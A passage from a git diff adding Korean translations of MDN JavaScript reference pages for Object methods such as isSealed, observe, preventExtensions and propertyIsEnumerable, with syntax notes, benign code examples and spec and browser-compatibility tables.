+Fum.prototype = new Fo();
+</pre>
+
+<p>실행되고 나면 <strong>Fum</strong> 인스턴스의 프로토타입체인이 <strong>Fi</strong>의 프로토타입과 연결되어있는지를 확인할 필요가 있습니다. 다음과 같은 방법으로 확인할 수 있습니다:</p>
+
+<pre class="brush: js">var fum = new Fum();
+// ...
+
+if (Fi.prototype.isPrototypeOf(fum)) {
+  // do something safe
+}
+</pre>
+
+<p>이 메소드는 {{jsxref("Operators/instanceof", "instanceof")}} 연산자와 함께 특정 프로토타입으로부터 상속된 객체만 작동하게 하려는(예를 들어 특정 메소드나 속성이 객체에 있다는걸 보장하려는 때) 코드에서 특히 쓸모가 많다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3rd Edition.</td>
+   <td>Standard</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.isPrototypeOf")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Operators/instanceof", "instanceof")}}</li>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>
+  <div><span style="font-size: 14px; line-height: 1.5;">{{jsxref("Object.setPrototypeOf()")}}</span></div>
+ </li>
+ <li>{{jsxref("Object.prototype.__proto__")}} </li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/issealed/index.html b/files/ko/web/javascript/reference/global_objects/object/issealed/index.html
new file mode 100644
index 0000000000..38fc953828
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/issealed/index.html
@@ -0,0 +1,128 @@
+---
+title: Object.isSealed()
+slug: Web/JavaScript/Reference/Global_Objects/Object/isSealed
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isSealed
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.isSealed()</strong></code> 메서드는 객체가 봉인됐는지 판별합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-issealed.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Object.isSealed(<var>obj</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>판별할 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>객체의 봉인 여부를 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>객체가 봉인된 경우 <code>true</code>를 반환하고, 그렇지 않으면 <code>false</code>. 객체는 {{jsxref("Object.isExtensible", "확장 불가", "", 1)}}이고 모든 속성이 설정 불가이며 따라서 삭제할 수 없(지만 반드시 쓰기 불가일 필요는 없)는 경우 봉인됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// 객체는 기본으로 봉인되지 않습니다.
+var empty = {};
+Object.isSealed(empty); // === false
+
+// 빈 객체를 확장 불가하게 한 경우, 빈 채로 봉인됩니다.
+Object.preventExtensions(empty);
+Object.isSealed(empty); // === true
+
+// 비어 있지 않은 객체는 다릅니다, 그 속성이 모두 설정 불가가 아닌 한.
+var hasProp = { fee: 'fie foe fum' };
+Object.preventExtensions(hasProp);
+Object.isSealed(hasProp); // === false
+
+// 그러나 모두 설정 불가하게 하면 객체는 봉인됩니다.
+Object.defineProperty(hasProp, 'fee', { configurable: false });
+Object.isSealed(hasProp); // === true
+
+// 객체를 봉인하는 가장 쉬운 방법은 물론 Object.seal 입니다.
+var sealed = {};
+Object.seal(sealed);
+Object.isSealed(sealed); // === true
+
+// 봉인된 객체는 정의에 의해 확장 불가입니다.
+Object.isExtensible(sealed); // === false
+
+// 봉인된 객체는 동결될 수 있지만 꼭 그럴 필요는 없습니다.
+Object.isFrozen(sealed); // === true (모든 속성도 쓰기 불가)
+
+var s2 = Object.seal({ p: 3 });
+Object.isFrozen(s2); // === false ('p'는 여전히 쓰기 가능)
+
+var s3 = Object.seal({ get p() { return 0; } });
+Object.isFrozen(s3); // === true (설정 가능성만이 접근자 속성에게 중요함)
+</pre>
+
+<h2 id="주의">주의</h2>
+
+<p>ES5에서, 이 메서드의 인수가 비객체(원시형)인 경우, 그러면 {{jsxref("TypeError")}}가 발생합니다. ES6에서, 비객체 인수는 마치 봉인된 보통 객체였던 것처럼 취급됩니다, 그저 <code>true</code>를 반환하는.</p>
+
+<pre class="brush: js">Object.isSealed(1);
+// TypeError: 1은 객체가 아닙니다 (ES5 코드)
+
+Object.isSealed(1);
+// true                          (ES6 코드)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.11', 'Object.isSealed')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>초기 정의. JavaScript 1.8.5에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.issealed', 'Object.isSealed')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.issealed', 'Object.isSealed')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.isSealed")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/observe/index.html b/files/ko/web/javascript/reference/global_objects/object/observe/index.html
new file mode 100644
index 0000000000..bf3b004d8c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/observe/index.html
@@ -0,0 +1,193 @@
+---
+title: Object.observe()
+slug: Web/JavaScript/Reference/Global_Objects/Object/observe
+tags:
+  - 감시 객체
+translation_of: Archive/Web/JavaScript/Object.observe
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Object.observe()</code></strong> 메소드는 객체의 변화를 비동기로 감시하는데에 사용된다. 이 메소드는 변화들이 발생한 순서대로 그 흐름을 제공한다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>Object.observe(<var>obj</var>, <var>callback</var>[, <var>acceptList</var>])</code></pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>감시될 객체입니다.</dd>
+ <dt><code>callback</code></dt>
+ <dd><code>obj</code>의 변경이 일어났을 때마다 호출될 함수입니다. 다음과 같은 인자를 갖습니다.
+ <dl>
+  <dt><code>changes</code></dt>
+  <dd>변경 사항을 나타내는 객체의 배열입니다. 그 객체의 프로퍼티는 다음과 같습니다.
+  <ul>
+   <li><strong><code>name</code></strong>: 변경된 프로퍼티의 이름입니다.</li>
+   <li><strong><code>object</code></strong>: 변경이 일어난 뒤의 객체입니다.</li>
+   <li><strong><code>type</code></strong>: 변경의 종류를 의미하는 string입니다. <code>"add"</code>, <code>"update"</code>, <code>"delete"</code> 중 하나입니다.</li>
+   <li><strong><code>oldValue</code></strong>: 변경되기 이전의 값입니다. <code>"update"와</code> <code>"delete"</code> 타입에만 존재합니다.</li>
+  </ul>
+  </dd>
+ </dl>
+ </dd>
+ <dt><code>acceptList</code></dt>
+ <dd>감시할 변경의 종류를 의미하는 리스트입니다.  주어지지 않은 경우, 배열 <code>["add", "update", "delete", "reconfigure", "setPrototype", "preventExtensions"]</code> 이 이용될 것입니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>callback</code>은 <code>obj</code>에 변경이 있을 때마다 실행되며, 모든 변경 사항이 일어난 순서대로 담긴 배열이 전달됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Logging_all_six_different_types">Logging all six different types</h3>
+
+<pre class="brush: js">var obj = {
+  foo: 0,
+  bar: 1
+};
+
+Object.observe(obj, function(changes) {
+  console.log(changes);
+});
+
+obj.baz = 2;
+// [{name: 'baz', object: &lt;obj&gt;, type: 'add'}]
+
+obj.foo = 'hello';
+// [{name: 'foo', object: &lt;obj&gt;, type: 'update', oldValue: 0}]
+
+delete obj.baz;
+// [{name: 'baz', object: &lt;obj&gt;, type: 'delete', oldValue: 2}]
+
+Object.defineProperty(obj, 'foo', {writable: false});
+// [{name: 'foo', object: &lt;obj&gt;, type: 'reconfigure'}]
+
+Object.setPrototypeOf(obj, {});
+// [{name: '__proto__', object: &lt;obj&gt;, type: 'setPrototype', oldValue: &lt;prototype&gt;}]
+
+Object.seal(obj);
+// [
+//   {name: 'foo', object: &lt;obj&gt;, type: 'reconfigure'},
+//   {name: 'bar', object: &lt;obj&gt;, type: 'reconfigure'},
+//   {object: &lt;obj&gt;, type: 'preventExtensions'}
+// ]
+</pre>
+
+<h3 id="데이터_바인딩">데이터 바인딩</h3>
+
+<pre class="brush: js">// A user model
+var user = {
+  id: 0,
+  name: 'Brendan Eich',
+  title: 'Mr.'
+};
+
+// Create a greeting for the user
+function updateGreeting() {
+  user.greeting = 'Hello, ' + user.title + ' ' + user.name + '!';
+}
+updateGreeting();
+
+Object.observe(user, function(changes) {
+  changes.forEach(function(change) {
+    // Any time name or title change, update the greeting
+    if (change.name === 'name' || change.name === 'title') {
+      updateGreeting();
+    }
+  });
+});
+</pre>
+
+<h3 id="Custom_change_type">Custom change type</h3>
+
+<pre class="brush: js">// A point on a 2D plane
+var point = {x: 0, y: 0, distance: 0};
+
+function setPosition(pt, x, y) {
+  // Performing a custom change
+  Object.getNotifier(pt).performChange('reposition', function() {
+    var oldDistance = pt.distance;
+    pt.x = x;
+    pt.y = y;
+    pt.distance = Math.sqrt(x * x + y * y);
+    return {oldDistance: oldDistance};
+  });
+}
+
+Object.observe(point, function(changes) {
+  console.log('Distance change: ' + (point.distance - changes[0].oldDistance));
+}, ['reposition']);
+
+setPosition(point, 3, 4);
+// Distance change: 5
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p><a href="https://github.com/arv/ecmascript-object-observe">Strawman proposal for ECMAScript 7</a>.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("36")}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatOpera("23")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("36")}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>{{CompatOpera("23")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]: See {{bug(800355)}}</p>
+
+<p>[2]: See relevant <a href="https://dev.modern.ie/platform/status/objectobserve/">MS Edge platform status entry</a></p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.unobserve()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Array.observe()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/preventextensions/index.html b/files/ko/web/javascript/reference/global_objects/object/preventextensions/index.html
new file mode 100644
index 0000000000..b23c6f33e6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/preventextensions/index.html
@@ -0,0 +1,126 @@
+---
+title: Object.preventExtensions()
+slug: Web/JavaScript/Reference/Global_Objects/Object/preventExtensions
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Object
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/preventExtensions
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.preventExtensions()</strong></code> 메서드는 새로운 속성이 이제까지 객체에 추가되는 것을 방지합니다 (즉 객체의 장래 확장을 막습니다).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-preventextensions.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Object.preventExtensions(<var>obj</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>확장 불가로 해야 할 객체.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>객체는 새로운 속성이 추가될 수 있는 경우 확장 가능입니다. <code>Object.preventExtensions()</code>는 객체를 이제 확장 불가로 표시하므로 표시된 그 시점에 있던 것 이외의 속성을 갖지 않습니다. 보통 확장 불가인 객체의 속성은 여전히 <em>삭제될</em> 수 있음을 주의하세요. 확장 불가인 객체에 새로운 속성을 추가하려는 시도는 실패합니다, 조용히든 {{jsxref("TypeError")}}가 발생해서든 (가장 흔하나 오로지 {{jsxref("Functions_and_function_scope/Strict_mode", "엄격 모드", "", 1)}}인 경우에서만은 아님).</p>
+
+<p><code>Object.preventExtensions()</code>는 자신의 속성 추가만을 방지합니다. 속성은 여전히 객체의 프로토타입에 추가될 수 있습니다. 그러나, 객체에 <code>Object.preventExtensions()</code>를 호출하면 그 {{jsxref("Object.proto", "__proto__")}} {{deprecated_inline}} 속성의 확장 또한 막습니다.</p>
+
+<p>ECMAScript 5에서 확장 가능 객체를 확장 불가로 바꾸는 법이 있더라도, 반대로 하는 법은 없습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// Object.preventExtensions는 확장 불가된 객체를 반환합니다.
+var obj = {};
+var obj2 = Object.preventExtensions(obj);
+obj === obj2; // true
+
+// 객체는 기본으로 확장 가능입니다.
+var empty = {};
+Object.isExtensible(empty); // === true
+
+// ...하지만 바뀔 수 있습니다.
+Object.preventExtensions(empty);
+Object.isExtensible(empty); // === false
+
+// Object.defineProperty는 확장 불가 객체에 새 속성을 추가할 때 오류가 발생합니다.
+var nonExtensible = { removable: true };
+Object.preventExtensions(nonExtensible);
+Object.defineProperty(nonExtensible, 'new', { value: 8675309 }); // TypeError 발생
+
+// 엄격 모드에서, 확장 불가 객체에 새 속성을 추가하려는 시도는 TypeError가 발생합니다.
+function fail() {
+  'use strict';
+  nonExtensible.newProperty = 'FAIL'; // TypeError 발생
+}
+fail();
+
+// 확장 (__proto__(는 사라집니다. 대신 Object.getPrototypeOf를 쓰세요)를
+// 지원하는 엔진에서만 동작합니다):
+// 확장 불가 객체의 프로토타입은 불변합니다.
+var fixed = Object.preventExtensions({});
+fixed.__proto__ = { oh: 'hai' }; // TypeError 발생
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<p>ES5에서, 이 메서드의 인수가 비객체(원시형)인 경우, 그러면 {{jsxref("TypeError")}}가 발생합니다. ES6에서, 비객체 인수는 마치 확장 불가인 보통 객체였던 것처럼 취급됩니다, 그저 자신을 반환하는.</p>
+
+<pre class="brush: js">Object.preventExtensions(1);
+// TypeError: 1은 객체가 아닙니다 (ES5 코드)
+
+Object.preventExtensions(1);
+// 1                            (ES6 코드)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.10', 'Object.preventExtensions')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>초기 정의. JavaScript 1.8.5에서 구현됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.preventextensions', 'Object.preventExtensions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.preventextensions', 'Object.preventExtensions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.preventExtensions")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+ <li>{{jsxref("Reflect.preventExtensions()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/propertyisenumerable/index.html b/files/ko/web/javascript/reference/global_objects/object/propertyisenumerable/index.html
new file mode 100644
index 0000000000..fde6780ffd
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/propertyisenumerable/index.html
@@ -0,0 +1,146 @@
+---
+title: Object.prototype.propertyIsEnumerable()
+slug: Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable
+tags:
+  - JavaScript
+  - Method
+  - Object
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>propertyIsEnumerable()</strong></code> 메서드는 특정 속성이 열거가능한지 여부를 나타내는 불리언 값을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-propertyisenumerable.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>obj</var>.propertyIsEnumerable(<var>prop</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>테스트 할 속성의 이름.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>특정 속성이 열거가능한지 여부를 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>모든 객체는 <code>propertyIsEnumerable</code> 메소드를 가지고 있습니다. 이 메소드는 프로토타입 체인을 통해 상속된 특성을 제외하고 개체에 지정된 속성을 {{jsxref("Statements/for...in", "for...in")}} 루프로 열거할 수 있는지 여부를 확인할 수 있습니다. 개체에 지정된 속성이 없으면 이 메소드는 <code>false</code>를 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="A_basic_use_of_propertyIsEnumerable">A basic use of <code>propertyIsEnumerable</code></h3>
+
+<p>The following example shows the use of <code>propertyIsEnumerable</code> on objects and arrays:</p>
+
+<pre class="brush: js">var o = {};
+var a = [];
+o.prop = 'is enumerable';
+a[0] = 'is enumerable';
+
+o.propertyIsEnumerable('prop');   // returns true
+a.propertyIsEnumerable(0);        // returns true
+</pre>
+
+<h3 id="User-defined_versus_built-in_objects">User-defined versus built-in objects</h3>
+
+<p>The following example demonstrates the enumerability of user-defined versus built-in properties:</p>
+
+<pre class="brush: js">var a = ['is enumerable'];
+
+a.propertyIsEnumerable(0);          // returns true
+a.propertyIsEnumerable('length');   // returns false
+
+Math.propertyIsEnumerable('random');   // returns false
+this.propertyIsEnumerable('Math');     // returns false
+</pre>
+
+<h3 id="Direct_versus_inherited_properties">Direct versus inherited properties</h3>
+
+<pre class="brush: js">var a = [];
+a.propertyIsEnumerable('constructor');         // returns false
+
+function firstConstructor() {
+  this.property = 'is not enumerable';
+}
+
+firstConstructor.prototype.firstMethod = function() {};
+
+function secondConstructor() {
+  this.method = function method() { return 'is enumerable'; };
+}
+
+secondConstructor.prototype = new firstConstructor;
+secondConstructor.prototype.constructor = secondConstructor;
+
+var o = new secondConstructor();
+o.arbitraryProperty = 'is enumerable';
+
+o.propertyIsEnumerable('arbitraryProperty');   // returns true
+o.propertyIsEnumerable('method');              // returns true
+o.propertyIsEnumerable('property');            // returns false
+
+o.property = 'is enumerable';
+
+o.propertyIsEnumerable('property');            // returns true
+
+// These return false as they are on the prototype which
+// propertyIsEnumerable does not consider (even though the last two
+// are iteratable with for-in)
+o.propertyIsEnumerable('prototype');   // returns false (as of JS 1.8.1/FF3.6)
+o.propertyIsEnumerable('constructor'); // returns false
+o.propertyIsEnumerable('firstMethod'); // returns false
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.7', 'Object.prototype.propertyIsEnumerable')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.propertyisenumerable', 'Object.prototype.propertyIsEnumerable')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.propertyisenumerable', 'Object.prototype.propertyIsEnumerable')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Object.propertyIsEnumerable")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Statements/for...in", "for...in")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/prototype/index.html b/files/ko/web/javascript/reference/global_objects/object/prototype/index.html
new file mode 100644
index 0000000000..4fdc17bc49
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/prototype/index.html
@@ -0,0 +1,218 @@
+---
+title: Object.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Object/prototype
+tags:
+  - JavaScript
+  - Object
+  - Property
+  - Reference
+  - 프로토타입
+translation_of: Web/JavaScript/Reference/Global_Objects/Object
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.prototype</strong></code> 속성은 {{jsxref("Object")}} 프로토타입(원형) 객체를<br>
+ 나타냅니다.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>JavaScript에서 거의 모든 객체는 {{jsxref("Object")}}의 인스턴스입니다. 일반적인 객체는 <code>Object.prototype</code> 에서 속성과 메서드를 상속받으며, 그 중 일부는 (오버라이드 등으로 인해) 숨겨질 수 있습니다. 그러나, 의도적으로 <code>Object</code>를 생성할 때 ({{jsxref("Object.create", "Object.create(null)")}} 처럼) 이를 피할 수도 있고, {{jsxref("Object.setPrototypeOf")}} 등을 통해 나중에 무효화할 수도 있습니다.</p>
+
+<p><code>Object</code> 프로토타입에 가하는 변경은 프로토타입 체인을 통해, 더 아래쪽 체인에서 덮어 쓴 경우가 아니라면 <strong>모든</strong> 객체에서 관측할 수 있습니다. 이는 객체를 확장하거나 행동을 바꿀 수 있는 매우 강력하면서도 위험한 방법을 제공합니다.</p>
+
+
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("Object.prototype.constructor")}}</dt>
+ <dd>객체의 프로토타입을 생성하는 함수를 지정합니다.</dd>
+ <dt>{{jsxref("Object.prototype.__proto__")}} {{non-standard_inline}}</dt>
+ <dd>객체가 초기화될 때 프로토타입으로 사용된 객체를 가리킵니다.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.__noSuchMethod__")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">정의되지 않은 객체 멤버가 메소드로서 호출될 때 실행되는 함수를 정의하는 데 쓰였지만 제거되었습니다.</s></dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.count","Object.prototype.__count__")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">사용자 정의 객체 상에 직접 있는 열거가능 속성의 수를 반환하는 데 쓰였지만 제거되었습니다.</s></dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.parent","Object.prototype.__parent__")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">객체 문맥을 가리키는 데 쓰였지만 제거되었습니다.</s></dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Object.prototype.__defineGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>함수를 속성에 연결합니다, 접근했을 때 그 함수를 실행해 그 결과값을 반환하는.</dd>
+ <dt>{{jsxref("Object.prototype.__defineSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>함수를 속성에 연결합니다, 설정했을 때 그 속성을 수정하는 함수를 실행하는.</dd>
+ <dt>{{jsxref("Object.prototype.__lookupGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>{{jsxref("Object.prototype.__defineGetter__()", "__defineGetter__()")}} 메소드에 의해 지정된 속성과 관련된 함수를 반환합니다.</dd>
+ <dt>{{jsxref("Object.prototype.__lookupSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>{{jsxref("Object.prototype.__defineSetter__()", "__defineSetter__()")}} 메소드에 의해 지정된 속성과 관련된 함수를 반환합니다.</dd>
+ <dt>{{jsxref("Object.prototype.hasOwnProperty()")}}</dt>
+ <dd>객체가 지정된 속성을 프로토타입 체인을 통해 상속되지 않은 그 객체의 직접 속성으로 포함하는지를 나타내는 boolean을 반환합니다.</dd>
+ <dt>{{jsxref("Object.prototype.isPrototypeOf()")}}</dt>
+ <dd>지정된 객체가 이 메소드가 호출된 객체의 프로토타입 체인 내에 있는지를 나타내는 boolean을 반환합니다.</dd>
+ <dt>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</dt>
+ <dd>내부 <a href="/ko/docs/Web/JavaScript/Data_structures#Properties">ECMAScript [[Enumerable]] attribute</a>가 설정된 경우를 나타내는 boolean을 반환합니다.</dd>
+ <dt>{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>이 메소드가 호출된 객체를 나타내는 객체 리터럴의 출처를 포함하는 문자열을 반환합니다; 새로운 객체를 만들기 위해 이 값을 쓸 수 있습니다.</dd>
+ <dt>{{jsxref("Object.prototype.toLocaleString()")}}</dt>
+ <dd>{{jsxref("Object.toString", "toString()")}}을 호출합니다.</dd>
+ <dt>{{jsxref("Object.prototype.toString()")}}</dt>
+ <dd>객체의 문자열 표현을 반환합니다.</dd>
+ <dt>{{jsxref("Object.prototype.unwatch()")}} {{non-standard_inline}}</dt>
+ <dd>객체 속성에서 감시점을 제거합니다.</dd>
+ <dt>{{jsxref("Object.prototype.valueOf()")}}</dt>
+ <dd>지정된 객체의 원시값을 반환합니다.</dd>
+ <dt>{{jsxref("Object.prototype.watch()")}} {{non-standard_inline}}</dt>
+ <dd>객체 속성에 감시점을 추가합니다.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Object.prototype.eval()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">지정된 객체의 문맥에서 JavaScript 코드 문자열을 평가하는 데 쓰였지만 제거되었습니다.</s></dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p><code>Object.prototype</code>의 기본 메서드를 변경할 때, 기존 조직의 앞 또는 후에 확장(extension) 을 포장하여 코드를 주입시키는 것을 고려하자. 예를 들어서, 이 (시험받지<br>
+ 않은) 코드는 내장된 로직 또는 어떤 다른 확장이 실행되기 전에 커스텀 로직을 전제조건적으로 실행시킬 것이다.</p>
+
